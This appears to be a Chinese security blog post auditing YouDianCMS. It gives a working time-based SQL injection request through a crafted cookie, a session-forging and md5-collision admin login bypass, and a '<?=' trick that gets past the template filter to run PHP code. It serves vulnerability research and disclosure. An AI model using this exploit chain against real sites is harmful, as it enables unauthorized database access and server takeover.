代码审计之 youdiancms 最新版 getshell 漏洞

本文首发于奇安信攻防社区

前言

在近期的授权项目中,遇到了一个目标,使用了 youdiancms,需要获取权限,进而进行审计,本次代码审计过程先发现 SQL 注入漏洞,继续审计发现 getshell 的漏洞,本文将本次审计过程书写下来,仅作为学习研究,请勿用作非法用途。

0x01 未授权 SQL 注入

首先拿到源码一看,发现该系统是基于 THINKPHP3 开发的。

在 App/Lib/Action/HomeBaseAction.class.php:16

COOkie 可控,然后赋值给了 \$this->_fromUser

跟踪一下「\$this-> fromUser 的引用。

在 App/Lib/Action/Home/ChannelAction.class.php:732

```
//保存用户投票
public function voteAdd() {
    header( string: "Content-Type:text/html; charset=utf-8");
    $item = $_REQUEST['item'];
    $appid = intval($_REQUEST['appid']);
    $fromUser = !empty($this->_fromUser) ? $this->_fromUser : get_client_ip();
    $_REQUEST = YdInput::checkTextbox( $_REQUEST );
    $m = D( name: 'Admin/WxVote');
    if($m->nasVoted($appid, $fromUser) ) {
        $this->ajaxReturn( data: null, info: '', status: 2);
    }

if(false === $m->submitVote($appid, $item, $fromUser)) {
    $this->ajaxReturn( data: null, info: '', status: 0);
}else {
    $this->ajaxReturn( data: null, info: '', status: 1);
}

748

749

}
```

这里将「\$this->_fromUser 带入到了 hasVoted 函数中,跟进该函数:

很明显, TP3 的 where 注入。

延时注入 payload 如下:

```
GET /index.php/Channel/voteAdd HTTP/1.1
```

```
Host: localhost
Content-Length: 2
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: youdianfu[0]=exp;youdianfu[1]==(select 1 from(select sleep(3))a)
Connection: close
```

0x02 绕过登录到 getshell 过程

0x0201 流程思路

- 1. 验证码外可以设置任意 session
- 2. 碰撞 md5 让 AdminGroupID==1 (超级管理员)
- 3. 后台修改模板插入 phpcode 实现代码执行

0x0x202 任意 session 设置

在 App/Lib/Action/BaseAction.class.php:223

这个函数挺有意思的,本来是个生成验证码的操作,但是没想到所有的参数都是用户可以控制的,特别是这个「\$verifyName」还可控。跟进「buildImageVerify」看看如何设置的「session」。

红框处设置了 session,并且 session 的键名我们是可控的,但是值不可控,是个md5 值。

然后我们去看看管理员的校验函数。在

App/Lib/Action/AdminBaseAction.class.php:7

起作用的就两个函数, isLogin 和 checkPurview 。跟进第一个看看:

这个函数很简单,就简单的判断 session 是否存在,我们可以通过上文的验证码函数来设置。

然后就是 checkPurview 函数。

这里判断了 AdminGroupID 的值,当等于 1 的时候就是超级管理员,由于这里是个弱类型比较。所以上文设置 session 中的 md5 是可以碰撞的。

编写脚本得到超级管理员的 session 了,然后登录。

```
/usr/local/var/pyenv/shims/python /Users/ /PythonProjects/fetch-domain.py success! PHPSESSION=c5af29875b0c10a07e9980fe5276ad64

Process finished with exit code 0
```

0x0203 后台 getshell

后台模板管理,可以修改模板,但是对 <?php 有检测,如图所示:

```
header( string: "Content-Type:text/html; charset=utf-8");
$_POST['FileName'] = YdInput::checkFileName( $_POST['FileName'] );
$FullFileName = TMPL_PATH.'Wap/'.$ThemeName.'/'.ltrim($_POST['FileName'], charlist: '/');
if( !$this->isValidTplFile($FullFileName, type: 'Wap')){
    $this->ajaxReturn( data: null, info: '由于安全问题, 禁止修改当前文件!', status: 0);
//实体解码
$FileContent = htmlspecialchars_decode($_POST['FileContent']);
if (get_magic_quotes_gpc()) {
    $FileContent = stripslashes($FileContent);
if(false !== stripos($FileContent, needle: '<?php')){
$this->ajaxReturn( data: null, info: '保存失败, 不能包含PHP代码! ', status: 0);
$b = file_put_contents($FullFileName, $FileContent);
if($b === false){
    $this->ajaxReturn( data: null, info: '保存失败!', status: 0);
    //若修改了public下的文件, 则删除模板缓存{
    $ext = strtolower(yd_file_ext($FullFileName));
         $dir = substr( dirname($FullFileName), start: -20);
         if( stripos($dir, needle: 'Public') !== false ){
             YdCache::deleteWap();
```

我们可以用 <?=?> 来绕过这个检测。

如图所示:







注: zc.cn 为本地 127.0.0.1 的地址, 并非 zc.cn 的域名

END